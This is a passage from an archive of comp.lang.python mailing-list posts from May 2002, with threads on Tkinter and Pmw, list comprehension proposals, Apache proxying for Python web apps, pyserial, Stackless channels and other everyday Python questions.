http://www.python.org/doc/Intros.html > > > > > >My favorite among these is Eric Raymond's "Why Python?" You should > > >definitely read it. > > > > Unfortunately, www.linuxjournal.com wasn't responding yesterday, and > > it's not responding today. > > Didn't Linux Journal email us and report that it was unfortunately > unable to sustain a viable business in today's business climate? > > (I sincerely hope I got the right one here and am not starting > a vicious rumour because of my bad memory... _some_ Linux mag > emailed me to report that!) > > -Peter There was an "Embedded" version of Linux Journal (run by the same company - SSC) that was discontinued. The discontinuation notice indicated a monthly article on embedded devices will appear in Linux Journal. Also, www.linuxjournal.com wasn't working earlier today for me but it is now. Dave From pearu at cens.ioc.ee Sat May 18 14:22:18 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Sat, 18 May 2002 21:22:18 +0300 (EEST) Subject: 2nd Request: Looking for Perl module equivalent In-Reply-To: Message-ID: On 18 May 2002, Sheila King wrote: > Well, I thought I'd ask one more time before I bugger off and go away. > > Apparently there is a handy Perl module Proc::ProcessTable for handling the > process table on Unix. > > Does anyone know of a similar Python module? > > Thanks for any insights into this matter SciPy contains a relevant module for linux only, see http://scipy.net/cgi-bin/viewcvs.cgi/scipy/proc.py?rev=1.2&content-type=text/vnd.viewcvs-markup HTH, Pearu From oren-py-l at hishome.net Tue May 28 02:33:11 2002 From: oren-py-l at hishome.net (Oren Tirosh) Date: Tue, 28 May 2002 02:33:11 -0400 Subject: 'for every' and 'for any' In-Reply-To: <20020526091742.A987@unpythonic.net> References: <20020526135944.A32690@hishome.net> <20020526091742.A987@unpythonic.net> Message-ID: <20020528063311.GA83784@hishome.net> On Sun, May 26, 2002 at 09:17:47AM -0500, jepler at unpythonic.net wrote: > On Sun, May 26, 2002 at 01:59:44PM +0300, Oren Tirosh wrote: > > Here's an idea for a possible language enhancement. I'd like to hear your > > comments about it. It's inspired by list comprehensions and I think the > > examples are pretty self-explanatory: > > > > if not isinstance(x, str) for any x in args: > > raise TypeError, "arguments must be of type str" > > this is equivalent to > bool([None for x in args if not isinstance(x, str)]) Sure, and the list comprehension [None for x in args if not isinstance(x, str)] Is equivalent to map(lambda x: None, filter(lambda x: isinstance(x, str), args)) But which one is more readable? List comprehensions were introduced into the language because they make the code much more readable and English-like. I consider this an important feature of the language. I often use Python to write specifications. Python is great for this task because it can be written in a way that is very compact and very readable even for someone who has never seen Python source before. Python list comprehensions are one of the things that make this possible. I use Python as a language for writing specifications that also happen to be an executable reference implementation. The poor souls that later have to implement the specification in C++ often write write 10-20 times as much code as the Python implementation and have a much harder harder time debugging it :-) Anyway, the common task of checking if all or any of the items of a list match a certain predicate is implemented in a large variety of ways. Just in the replies to my message I got implementations that use break statements, exceptions to break of of the loop, flags, checking for empty lists, comparing list length to the original list and reduce with lambdas. I've also seen a lot of code that uses the return statement as a kind of break to achieve this effect. The fact that there is no simple, common idiom to express this operation seems to suggest that this part of the language is not as natural as it could be. Most common ways to express this operation make use control flow statements rather than expressions which makes them more awkward to use. An expression is easy to use in an if statement where you get an else clause. Using combinations of break makes it harder to use both the positive and negative case. I often find myself rearranging my code and sometimes inverting tests just to get what I want. That's not what programming is all about. I'd rather concentrate on the task at hand than on how to express it. Oren From aahz at pythoncraft.com Thu May 9 14:04:21 2002 From: aahz at pythoncraft.com (Aahz) Date: 9 May 2002 14:04:21 -0400 Subject: Python vs. Perl, which is better to learn? References: <3CDAA5A5.D4077E5C@fnal.gov> <3CDAB85B.C49BABD9@fnal.gov> Message-ID: In article <3CDAB85B.C49BABD9 at fnal.gov>, David J. Ritchie wrote: >David deleted Aahz's attribution: >> >> Actually, I have a different point: why are you moving blocks of code? > >It's a matter of writing in which I move from a rough draft to a final >document (whether code or natural language). Could you provide an example in which you did this for code? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ See me at OSCON! I'm teaching Python for [Perl] Programmers, a fast intro for all experienced programmers (not just Perl). Early bird ends June 10. http://conferences.oreillynet.com/os2002/ From grante at visi.com Sun May 5 16:16:02 2002 From: grante at visi.com (Grant Edwards) Date: Sun, 05 May 2002 20:16:02 GMT Subject: OT: mail-news gateway question References: Message-ID: In article , Aahz wrote: >>How does the python news/mail gateway work? Somebody recently told me >>that such gateways work by making the group moderated and having the >>"moderator" e-mail address set to the mailing list. Is this true? > > Nope. News->Mail consists of an NNTP client that collects posts from > comp.lang.python and forwards them (probably via SMTP) to python-list. > Conversely, Mail->News consists of an e-mail client (probably POP3, but > might be IMAP) that polls a mailbox and then injects news either directly > to the news server (such as INN) or by using an NNTP client. Thanks. That was pretty much my understanding. >>Looking at the headers in c.l.p, I don't see any "approved:" headers, >>and the NNTP-posting host seems to vary from posting to posting. > > Note that c.l.py is a bidirectional gateway; many people post directly > to the newsgroup. People who post to python-list should all have the > same NNTP-Posting-Host. You can tell gatewayed e-mail by looking for > the X-Mailman-Version header (or any of several other obvious headers). I'd noticed those, and since they weren't present on many other postings, I thought it meant that c.l.p wasn't moderated. -- Grant Edwards grante Yow! I hope something GOOD at came in the mail today so visi.com I have a REASON to live!! From mfranklin1 at gatwick.westerngeco.slb.com Tue May 21 06:14:04 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Tue, 21 May 2002 10:14:04 +0000 Subject: Question on Pmw Balloon Binding In-Reply-To: References: Message-ID: <200205210914.g4L9ECX22792@helios.gatwick.geco-prakla.slb.com> On Tuesday 21 May 2002 8:51 am, you wrote: > Hi all, > > I want to create a balloon help for a button. So I have the following > code: > > from Tkinter import * > import Pmw > root = Tk() > Pmw.initialise(root) > frame = Frame(root).pack() > button = Button(frame, text="Button").pack() button refers to the return code from the pack() method of the Button widget try this:- button = Button(frame, text="Button") button.pack() Cheers Martin From emile at fenx.com Sat May 18 08:58:18 2002 From: emile at fenx.com (Emile van Sebille) Date: Sat, 18 May 2002 12:58:18 GMT Subject: newbie-question: overloading methods References: <3ce645b7$0$23712$9b622d9e@news.freenet.de> Message-ID: "merman" wrote in message news:3ce645b7$0$23712$9b622d9e at news.freenet.de... > Hi, > > is there a way to overload methods like in C++ or Java? > Does this help? >>> def test(arg1=None, arg2=None, arg3=None, *args, **kwargs): ... print arg1, arg2, arg3, args, kwargs ... >>> test(1,2) 1 2 None () {} >>> test(1,2,3,4) 1 2 3 (4,) {} >>> test(1,2,3,4,5,helpmode=1) 1 2 3 (4, 5) {'helpmode': 1} >>> -- Emile van Sebille emile at fenx.com --------- From jeff at ccvcorp.com Wed May 8 12:56:33 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 8 May 2002 09:56:33 -0700 Subject: extraneous import statements needed References: <3CD89940.22826002@engcorp.com> Message-ID: In article <3CD89940.22826002 at engcorp.com>, Peter Hansen says... > Jeff Davis wrote: > > > > I created a module that is essentially one big class. At the top I have a > > group of import statements (outside the class). Within my methods I call > > functions such as string.split(). However, I get strage error messages > > about "type None does not have attribute split" or something similar > > (always thinks that the module name is instead a None object). > > You may have a variable called "string" which is hiding the module > after you've imported it? In that case, calling "string.split()" is > going to produce the error you described. Another possible source of this error, considering the implementation of string.split(), is that you're actually passing in a None as the argument. The code for string.split() is basically this: ### in module string.py ### def split(s): return s.split() Of course, if you're running into this problem with anything other than string methods, or if it happens when you pass something that you *know* is a string, then this isn't the problem, and odds are that you're shadowing your global module names, as everyone else is suggesting. :) -- Jeff Shannon Technician/Programmer Credit International From cliechti at gmx.net Thu May 23 20:55:31 2002 From: cliechti at gmx.net (Chris Liechti) Date: 24 May 2002 02:55:31 +0200 Subject: Extending: overloading operators (e.g. for a vector class) References: <3CEC5A54.F6EA2C82@replyto.address.invalid> <3CED82D0.EF5E0C67@replyto.address.invalid> Message-ID: Greg Ewing wrote in news:3CED82D0.EF5E0C67 at replyto.address.invalid: > Chris Liechti wrote: >> >> can you give me a hint where such thing as the NEW_STYLE_NUMBER flags >> are documented? > > I don't know. It might not be documented anywhere yet -- > this is all fairly new stuff. > > By the way, there's one difference I should perhaps have > mentioned between the Python and C versions of operator > overloading -- in C there are no separate "reversed" > versions of the operator methods. For example, if > you do x*y and x doesn't have an nb_multiply method, > then y.nb_multiply(x, y) is done. > > So, you have to be prepared for the second operand > being "self" instead of the first one, if you see > what I mean. yes thanks, i hand a look at the sketch sources where this is used in that way. my extension does work now like expected (yipee). chris -- Chris From pyth at devel.trillke.net Tue May 14 05:48:42 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 11:48:42 +0200 Subject: High performance Python web-app In-Reply-To: ; from sholden@holdenweb.com on Mon, May 13, 2002 at 10:36:03PM -0400 References: <3CDE9D7B.7050408@xs4all_removethisalso.nl> Message-ID: <20020514114842.I28033@prim.han.de> Steve Holden wrote: > "iwk" wrote in message > news:3CDE9D7B.7050408 at xs4all_removethisalso.nl... > > Hi there, > > > > We've been using a custom developed html/python templating system which > > runs under CGI. It was ported to mod_python one year and a half ago, but > > as the system was only used for small-scale sites, in the end that > > was never taken into production. Now however, a customer wants to deploy > > the system on Apache 2 running on Win32 and the site is expected to > > attract a rather large number of visistors on occasion. Considering the > > abysmal performance of CGI apps on Windows, this poses a considerable > > problem. > > > > My question is: are there any *stable* solutions available to enable > > fast ptyhon web-apps running on Apache 2/Win32? (Mod_python only runs on > > Apache 1.3 as far as I know and Mod_snake seems to have been taken off > > line....) > > > > A recent thread seemed to suggest the best way would simply be to have > Apache map a subset of URLs to a pure-Python server process. the configuration option is 'ProxyPass': ProxyPass /sub/name/ http://localhost:7000 in your domain's configuration section would pass requests such as http://www.yourdomain.net/sub/name/something to http://localhost:7000/something see e.g. http://httpd.apache.org/docs/mod/mod_proxy.html#proxypass for details. holger From sean.mcgrath at propylon.com Sat May 18 05:52:19 2002 From: sean.mcgrath at propylon.com (Sean McGrath) Date: Sat, 18 May 2002 10:52:19 +0100 Subject: Exponential time increase in garbage collection Message-ID: <5.1.0.14.0.20020518104139.03744da0@mail.digitome.com> All, I have a program that creates lots of small objects (actually some large objects that are made up of many sub-objects) and retrieves them through a dictionary. Depending on the machine the program is run on, there comes a point where deleting them from the dictionary takes a long time. Plotting the numbers shows a relationship which is distinctly exponential in shape. Machine A: Objects Dictionary Delete Time 600 2 200 18 1000 97 1200 344 Machine B: Objects Dictionary Delete Time 25 0 50 5 75 14 100 37 The behavior is the same on Windows and Unix. The numbers change but the underlying shape of the graph stays the same. Any lore for dealing with this type of situation greatly appreciated. regards, Sean McGrath From tgagne at ameritech.net Tue May 21 18:38:05 2002 From: tgagne at ameritech.net (Thomas =?iso-8859-1?Q?Gagn=E9?=) Date: Tue, 21 May 2002 18:38:05 -0400 Subject: Golfing in OOLs References: <3CCD6D8B.80C387E3@ameritech.net> Message-ID: <3CEACC4D.FEE79C27@ameritech.net> I was staring at a score card from Rackham earlier today and was wondering about our Golfing in Smalltalk project (an OO languages in general). What is a Golf Hole? What is a Golf Course? Rackham has only have one 'course', but each 'hole' has three 'tees'. Each one has a different yardage. On the last hole the forward tees have a different par (it's a par 4 and the other tees are par 5s). I don't have it in front of me now, but I think there may be two separate slope ratings between the back and forward tees. Obviously, because of the separate pars on the last hole the forward and back tees have different pars for the course. Most courses give different tees a different color, but the coloring schemes are inconsistent between courses. Some courses name their tees, (men's, ladies, seniors, juniors) but not all courses have four tee boxes on each hole. I thought it might make sense to make each group of tees a separate course. But then I thought of golfing with my wife, or on mixed leagues, where the same card may have players playing different tees, but they're still scored against each other. Would there be a problem with two players playing against each other on two separate courses? Presumably not, since each player's score is measured in terms relative to the course's par. This solves the problem of my wife and I playing Rackham together and allows (as a fringe benefit) my buddy Tim and I playing at two different courses but still against each other, he at Torrey Pines and me at Palmer Park (his course is decidedly more prestigious and difficult and I may need to spot him a few strokes, but what the heck?). What are your thoughts? -- .tom From dryose at juno.com Tue May 21 16:19:18 2002 From: dryose at juno.com (yose) Date: 21 May 2002 13:19:18 -0700 Subject: Python (2.2) on Solaris 8 (64-bit) References: <79d1869.0205200713.324bee25@posting.google.com> Message-ID: <79d1869.0205211219.f9c2cfb@posting.google.com> Oleg Broytmann wrote in message news:... > On Mon, May 20, 2002 at 11:01:13PM +0200, Martin v. Loewis wrote: > > > http://groups.google.com/groups?hl=en&lr=&safe=off&q=python+solaris+problem&btnG=Google+Search&meta=group%3Dcomp.lang.python.%2A > > > > How does that help? > > It shows that the man is not alone in his problems, that there are real > problem building Python on Solaris, and that the problem with _socket > appears too often. It also shows that one should not blindly report a > problem, but try to read FAQs and search archives. There are also some > helpful advices in these postings. > > Oleg. I would have posted all of the error messages from the resulting "make", and the results from trying to do it by hand as well (one "gcc" line at a time), but there were QUITE ALOT of error messages! I was hoping that the solution involved something simple. Something in the Modules/config, something to configure, ... something simple that I was forgetting. Now I see that there is work yet to be done by the Python support community on porting to this environment. I am just a user and not a developer... I just need help! Yose From aahz at pythoncraft.com Sun May 5 15:22:23 2002 From: aahz at pythoncraft.com (Aahz) Date: 5 May 2002 15:22:23 -0400 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> Message-ID: In article <82adrehag0.fsf at acropolis.localdomain>, Patrick W wrote: >aahz at pythoncraft.com (Aahz) writes: >> In article <82bsbvl5q1.fsf at acropolis.localdomain>, >> Patrick W wrote: >>> >>>Seems to me that C -> C# -> [Python / Lispy language] could facilitate >>>a *really* nice layered approach. I just hope this possibility isn't >>>sabotaged by political/legal issues, and becomes a genuine >>>multi-platform solution. >> >> Why use C# at all? > >No genuine need of course, but I think there *is* a sizeable sweet >spot that lies somewhere between C and Python in terms of abstraction >capabilities, speed, coding convenience, etc. Please explain this a bit further, because I don't see that sweet spot at all. My experience is until one gets to truly high levels of abstraction (such as Python and SQL), one pays so heavily in lack of expressiveness combined with grunt work that the sweet spot doesn't really exist. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From phd at phd.pp.ru Thu May 23 14:03:38 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Thu, 23 May 2002 22:03:38 +0400 Subject: Python in a 386 computer In-Reply-To: ; from rodrigo@mosaic.com.br on Thu, May 23, 2002 at 10:53:11AM -0700 References: Message-ID: <20020523220338.F29201@phd.pp.ru> On Thu, May 23, 2002 at 10:53:11AM -0700, rvertulo wrote: > Is it possible to run python in a 386 computer? Easy. Install Linux - and go! Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From phil at river-bank.demon.co.uk Fri May 3 05:17:50 2002 From: phil at river-bank.demon.co.uk (Phil Thompson) Date: Fri, 03 May 2002 10:17:50 +0100 Subject: [Zaurus-general] ANN: Python 2.2.1 for Sharp Zaurus References: <3CCD1D46.B519567@river-bank.demon.co.uk> <1020205937.8210.15.camel@pepino> <1020392616.2124.40.camel@rama> Message-ID: <3CD255BE.AD0BF936@river-bank.demon.co.uk> Steve Arnold wrote: > > On Tue, 2002-04-30 at 15:32, RR wrote: > > On Mon, 2002-04-29 at 06:15, Phil Thompson wrote: > > > Riverbank Computing is pleased to annouce the release of the port to > > > Python v2.2.1 to the Sharp Zaurus. We believe the port will also run > > > unchanged on the Compaq iPAQ (running Linux). > > > > > > The download page is > > > http://www.riverbankcomputing.co.uk/zaurus/download.php > > > > > stll not able to install > > > > storage i have 630kb currently tried cf no luck > > That's not going to be enough for Python (especially Python2). Python > has lots of small files too, so you need quite a bit of free space (for > both the install and the temporary space to decompress the files). > > If you have enough space for the installed part of Python (and I'm not > sure how much that is), then you can probably install it with the nipkg > script. It's a front-end for ipkg so you can pass command line > parameters to make it decompress to MMC or CF card instead of internal > flash. > > I can't remember where I got the nipkg script, but I can mail it to you > if you can't find it. I think it was on ZaurusZone, but I have trouble > with that site so I don't go there much (it's just way too slow and > goofy). The nipkg script can be found at http://www.riverbankcomputing.co.uk/zaurus/download.php. While nipkg will roughly halve the amount of space you need in the filesystem you are installing in, you still need enough space for the package. Phil From emile at fenx.com Mon May 13 20:41:03 2002 From: emile at fenx.com (Emile van Sebille) Date: Tue, 14 May 2002 00:41:03 GMT Subject: How can I convert a string using re.compile References: <11b62679.0205131526.5f1b6fed@posting.google.com> Message-ID: "Emile van Sebille" wrote in message news:KwYD8.894$Bw6.280 at rwcrnsc51.ops.asp.att.net... > young-il sohn > > How can I convert the string 'a = [1 2 3;4 5 6;6 7 8]' > > to other string 'a = [[1,2,3],[4,5,6],[7,8,9]]' ? > > > > Numeric values can have various forms such as 3.2, -4, 3e+3, 3e-2, > > 3E+10, 3E-2 and so on. Space can be inserted in the list. > Hmm, looks like I didn't quite meet the spec ;-) s = 'a = [1 3.2 -3 ; 4e+3 5e-2 6e+10; 6.2 7 8e+1]' def nummify(val): if val.startswith('['): val =val[1:] if val.endswith(']'): val = val[:-1] try: float(val) return repr(str(val))[1:-1] except: raise ValueError print `s.split('=')[0]+" = "+`[[nummify(jj) for jj in ii.split()] for ii in s.split('=')[-1].split(";")]`.replace("'","")` This works better. -- Emile van Sebille emile at fenx.com --------- From ELabuschagne at gims.com Thu May 2 07:22:48 2002 From: ELabuschagne at gims.com (Etienne Labuschagne) Date: Thu, 2 May 2002 13:22:48 +0200 Subject: Message queueing Message-ID: Hi all, I am new to this group and could not find an answer after a Google search, so please bear with me if this question was already asked. I need to build a distributed app and I am wondering which message queue to use and if anyone has any experience with interfacing to them in general. I have played around a bit with Microsoft's using pythonwin to connect to the COM objects and although this works, I want to be platform independent if at all possible. I am looking into using JMS (Java Message Queue) using Jython and this seems to be a viable alternative. I do not want to be restricted only to Jython as my preference lies with using Python (CPython). How am I going to get CPython to talk to something written in Java? So far I have created an XML-RPC "bridge" so that my CPython code can talk to my Jython based JMS connector. This entails creating an XML-RPC server on both sides (for calls and call-backs) but this feels a bit kludgey. Any suggestions? Thanks Etienne -------------- next part -------------- An HTML attachment was scrubbed... URL: From syver-en+usenet at online.no Fri May 31 11:38:26 2002 From: syver-en+usenet at online.no (Syver Enstad) Date: Fri, 31 May 2002 15:38:26 GMT Subject: python and windows and pydoc and favorite editor == True Message-ID: Hi, if anyone else than me thinks that reading the source of a python module in your favorite editor, by clicking a link in the pydoc html page covering that module would be nice, read on. I have: 1. a very short python script (which parses the pydoceditor url and executes os.environ['EDITOR'] with the parsed out file as the parameter). I have the EDITOR variable set to gnuclient myself, but I guess not everybody would want to use emacs so you can set EDITOR to notepad or whatever suits you). 2. a small registry addition (registering a pydoceditor url type, and a handler python script for that type), This is the only part of the equation that is strictly win32 specific, I don't know how to register handler's for url types on *nix or other platforms so... 3. a tiny hack to the pydoc.py source that makes this happen (which changes the file: url to a pydoceditor url). Post if there is any interest. -- Vennlig hilsen Syver Enstad From pinard at iro.umontreal.ca Sun May 19 18:00:55 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 19 May 2002 18:00:55 -0400 Subject: Where to find python code beautifier ? In-Reply-To: References: Message-ID: [Terry Reedy] > There is no need for one. We write our Python code pretty in the > first place. A human can do that, but it is less easy when Python code is automatically generated. This is the case in one of my projects, and because of this, I do have a Python beautifier in the works. I return to it from time to time, still having good hope that it will be satisfactorily -- I only need to find a few days of free time combined with the inclination to work on this. :-) -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From peter at engcorp.com Sun May 12 22:43:23 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 12 May 2002 22:43:23 -0400 Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> Message-ID: <3CDF284B.ECFBEA5E@engcorp.com> Rich Pinder wrote: > > I've loaded the windows installer (Python 2.2.1 (#34, Apr 9 2002, > 19:34:33)), have the PYTHONPATH variable set correctly, and have the > executable in the path. > > I'm trying to load three add on's (4Suite, PyXML, and Interbase database > adapter). > > On the second install screen (on all three) it prompts you for 'which > python installation to use' - and there are no entries to select. I have the same problem all the time installing py2exe updates. In my case I had previously installed Python to my C: drive, then moved the entire directory tree to our shared network drive so we can all use it. The problem is that I then disable (by renaming via regedit) the Python registry key, to avoid having anything try to find stuff locally on my machine. This prevents py2exe from installing and since no option is available to specify the folder for installation, my only choice was to rename the old registry key temporarily, install py2exe, copy the changes to the network drive, then rename the Python key back to Python.unused. This likely doesn't help you, but it probably points to a missing registry key as the source of your troubles. -Peter From pyth at devel.trillke.net Tue May 28 04:02:52 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 28 May 2002 10:02:52 +0200 Subject: eval vs. exec In-Reply-To: ; from tdelaney@avaya.com on Tue, May 28, 2002 at 10:15:29AM +1000 References: Message-ID: <20020528100252.D17248@prim.han.de> Delaney, Timothy wrote: > > in python itself again. It is not a permanent service, it is not used > > for mission critical stuff, and the people that are able to put stuff > > from the external python into this environment without having > > references > > to it probably won't bother. Maybe this is too optimistic, but It is > > good enough for me. Currently the eval/exec thing is more interesting > > You are too optimistic. Never assume anything is not a permanent service - > everything will last longer than you intended, because people are afraid to > change things that currently work. In many cases, this fear is justified. > > Any time you are using code from an untrusted source you need to be > incredibly careful. This includes third-party modules (I assume you trust > the implementors of Python and its standard libraries ...). A trusted > associate today may turn out to be a bitter ex-employee with a nasty > backdoor into your systems in the future. I've hear these type of arguments before. AFAIK bitter ex-employees don't need to write some exec/eval-exploit, they just use their old passwords or implant an easy backdoor on their last days. Todays company's practices regarding security are often a *laugh*. You try to close some mouses' hole but there are already several open six-lane highways into the core of your system. This doesn't neccessarily mean you don't need to care, though. But assume that your application wants to give the system administrator means to inspect and test the objects in a running application. I wouldn't see the point of investing too much time on how to make it 'secure' (besides killing long-running mys-typed calculations). How secure can using a debugger get? At least I often start my python programs with 'python -i progname.py' which is a good application of 'exec/eval'. If your strings are coming from a public web-application it's a different matter, of course. But not everything is a web-application. regards, holger From dwelch91 at attbi.com Wed May 22 23:39:26 2002 From: dwelch91 at attbi.com (djw) Date: Thu, 23 May 2002 03:39:26 GMT Subject: "casting" Python objects References: <3CEC3147.4165A8E7@earthlink.net> Message-ID: > Here's an alternative approach you might want to ponder. Instead > of subclassing jabber.Message, and creating an is-a relation, > why not use a has-a relation instead and use a class that *has* > a jabber.Message as an attribute? I think we have a winner! This seems like the most sane way to proceed short of hacking into jabber.py. (I just talked to a friend of mine and he asked me why jabber.py doesn't use a Factory pattern to create its objects? Hmmm. Is that worth suggesting to the jabber.py authors?) Thanks, D From jepler at unpythonic.net Wed May 29 16:36:54 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 29 May 2002 15:36:54 -0500 Subject: List &reference to segment of another list. Can dis be done? In-Reply-To: <3d3fa469.0205290737.7b630305@posting.google.com> References: <3d3fa469.0205290737.7b630305@posting.google.com> Message-ID: <20020529153649.B17765@unpythonic.net> You could create a list-like object which is created with a slice from another list class ReferenceList: def __init__(self, l, start, end = None): self.l = l self.start = start if end is None: end = len(l) self.end = end then, you could override __getitem__ and __setitem__ to use the underlying list def __getitem__(self, i): if self.start + i >= self.end: raise IndexError return self.l[self.start + i] def __setitem__(self, i, v): if self.start + i >= self.end: raise IndexError self.l[self.start + i] = v (now you'll need to make stuff like slices work right .. tall order!) >>> li = [0, 1, 2, 4, 8] >>> re = ReferenceList(li, 2) >>> re[0] = 16 >>> re[1] = 32 >>> re[2] = 64 >>> print li [0, 1, 16, 32, 64] However, because 'name = value' is a binding operation (not a mutating one), you can't ever make re = [16, 32, 64] change the value of the object "re" used to name. This is an oft-discussed subject, and I'll leave it to my betters to explain it. Jeff From gcordova at hebmex.com Fri May 3 10:53:49 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Fri, 3 May 2002 09:53:49 -0500 Subject: Low level python Message-ID: > > I think you can probably get native assembly by using weave > http://www.scipy.org/site_content/weave > > Just use inline assembly within the C code string. > > - Ken > Yes, weave can do that. But I'm searching for a diferent angle, instead of using an external utility to compile a function, which will be subsequently imported as an external module, why not assemble machine-language functions, and call them, directly from python? That way, you can do it all from inside python, without any external utilities, and apply any and all python features to the process. -gustavo From marklists at mceahern.com Fri May 10 11:48:00 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 10 May 2002 10:48:00 -0500 Subject: is there a better way... In-Reply-To: Message-ID: [Christopher Encapera] > Subject: is there a better way... > > > to loop over a list and replace an element based on its value than: There are three ways shown below, including your approach (replace). Try the script and see for yourself how each performs: #! /usr/bin/env python from time import clock import random def replace(l, old, new): # Make a copy. x = list(l) y = len(x) z = 0 while z < y: element = x[z] if element == old: x[z] = new z = z +1 return x def replace_for(l, old, new): # Make a copy. x = list(l) for i in range(len(x)): if x[i] == old: x[i] = new break # use continue if we expect more than one match. return x def replace_dict(l, old, new): d = dict(zip(l, l)) d[old] = new return d.values() def timeit(f, *args): time_in = clock() result = f(*args) time_out = clock() return result, time_out - time_in size = 100000 x = range(size) old = random.randrange(0, size) new = "blueberry" r1, t1 = timeit(replace, x, old, new) r2, t2 = timeit(replace_dict, x, old, new) r3, t3 = timeit(replace_for, x, old, new) assert(r1==r2==r3) print "replace: %0.3f" % t1 print "replace_dict: %0.3f" % t2 print "replace_for: %0.3f" % t3 From cliechti at gmx.net Fri May 10 16:08:55 2002 From: cliechti at gmx.net (Chris Liechti) Date: 10 May 2002 22:08:55 +0200 Subject: Pyserial , JavaComm and installation References: <7557b51f.0205101000.114021c4@posting.google.com> Message-ID: sehamran at frisurf.no (seh) wrote in news:7557b51f.0205101000.114021c4 at posting.google.com: > I have tried to install the Pyserial package. I get no error doing > import serial. I can create a serial object. The only problem is that > writing a command over my serial port does not work. I believe the > problem is associated with the installation of the JavaComm files as I > do not know how to do this. I have no Java folder in the Program files > directory to put them in. > > Cna anybody tell me how to install the JavaCOmm files? there should be a readme along with the serialcomm zip. i.e. here are the installation notes for win32: javacomm20-win32/commapi/PlatformSpecific.html with some java JDK installations you get two different runtimes. you can install it in both using the note metioned above. (some older java versions install by default on e.g. c:\jdk1.3\, only the latest and the java runtime go into the programm folder) chris -- Chris From gerhard at bigfoot.de Wed May 29 07:11:17 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 29 May 2002 11:11:17 GMT Subject: Browsing a big mailbox offline References: <2002529-10584-626303@foorum.com> Message-ID: In article <2002529-10584-626303 at foorum.com>, Sebastien SAUVAGE wrote: > > Hello. > > I'm looking for a convenient way for browsing *offline* the > marvellous comp.lang.python archive (a nice 397 Mb mailbox file available at > http://mail.python.org/pipermail/python-list/ ) > > I found no news client capable of reading/importing a raw unix mailbox. > Does anybody know a news client capable of this ? > (platform : Windows) Sounds like a job for a mail client. mutt for Windows can read this. It's available as a Cygwin package. Mozilla also uses mbox files, though on Windows it uses Windows line endings. You could just try if it accepts the Unix mbox file. One way or the other, I suppose that it will take a while until the mail client reads all of the mbox. You'd perhaps rather have kept the original downloaded one-month-per-mbox files ;-) Gerhard From pinard at iro.umontreal.ca Wed May 8 12:06:47 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 08 May 2002 12:06:47 -0400 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: [Erno Kuusela] > In article , > loewis at informatik.hu-berlin.de (Martin v. L?wis) writes: > | So far, it appeared that there is wide agreement that identifiers in > | Python should be ASCII only. Do you disagree, i.e. do you *really* > | want to use non-ASCII identifiers? > what would be the advantage in preventing non-english-speaking people > from using python? The only reason I ever heard is preventing people to write code that cannot be universally exported. People can understand two different, orthogonal things in this issue: keywords and user identifiers. I'm not really asking that keywords be translated, because Python keywords and syntax are modelled after the English languages. This may be debated of course, but is a lower priority issue. However, identifiers created by local programmers, and especially identifiers naming functions or methods, should be writable in national language without forcing us to make orthographical mistakes all over (I usually choose English identifiers over disgustingly written French identifiers). You know, there is a background irritation at not being able to program in my own language, this irritation is permanent and never fades out -- a bit like the fossile radiation after the big bang! :-) I surely like Python a lot, but I would like it even more if it was on the side of programmers of all nations, and not forcing everyone to wide portability: there are many cases where planetary portability is just not a concern. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From andrew.henshaw at mail.com Mon May 20 08:48:06 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Mon, 20 May 2002 08:48:06 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: Christian Tismer wrote: ...snip... > > > /********************************************************** > > The central functions of the channel concept. > A tasklet can either send or receive on a channel. > A channel has a queue of waiting tasklets. > They are either all waiting to send or all > waiting to receive. > Initially, a channel is in a neutral state. > The queue is empty, there is no way to > send or receive without becoming blocked. > > Sending 1): > A tasklet wants to send and there is > a queued receiving tasklet. The sender puts > its data into the receiver, unblocks it, > and inserts it at the top of the runnables. > The receiver is scheduled. > Sending 2): > A tasklet wants to send and there is > no queued receiving tasklet. > The sender will become blocked and inserted > into the queue. The next receiver will > handle the rest through "Receiving 1)". > Receiving 1): > A tasklet wants to receive and there is > a queued sending tasklet. The receiver takes > its data from the sender, unblocks it, > and inserts it at the end of the runnables. > The receiver continues with no switch. > Receiving 2): > A tasklet wants to receive and there is > no queued sending tasklet. > The receiver will become blocked and inserted > into the queue. The next sender will > handle the rest through "Sending 1)". > */ > Just so that I am clear -- in your concept of channels, can channels be shared among multiple, parallel, sending processes? What about multiple, parallel, receiving processes? In other words are your channels similar to the Queue.Queue object? The reason that I ask is that this is different from Occam's behavior (and I believe CSP's). In those systems, a channel should be assigned to at most one concurrent sender and receiver. If you need to merge the output of multiple processes, then an ALT construct would be used to arbitrate among the individual channels. Under Occam, sending to the first available receiver is more complex than in CSP, as it doesn't have ALT output guards (difficult to implement on distributed processors, I believe); so, I'd follow the CSP model here. I suspect you already know all of this, but I thought I would mention it in case there is some advantage to you in (conceivably) simplifying your channel design. You can still get the more complex behavior, but it would be done explicitly. Andy Henshaw From starx at pacbell.net Sat May 18 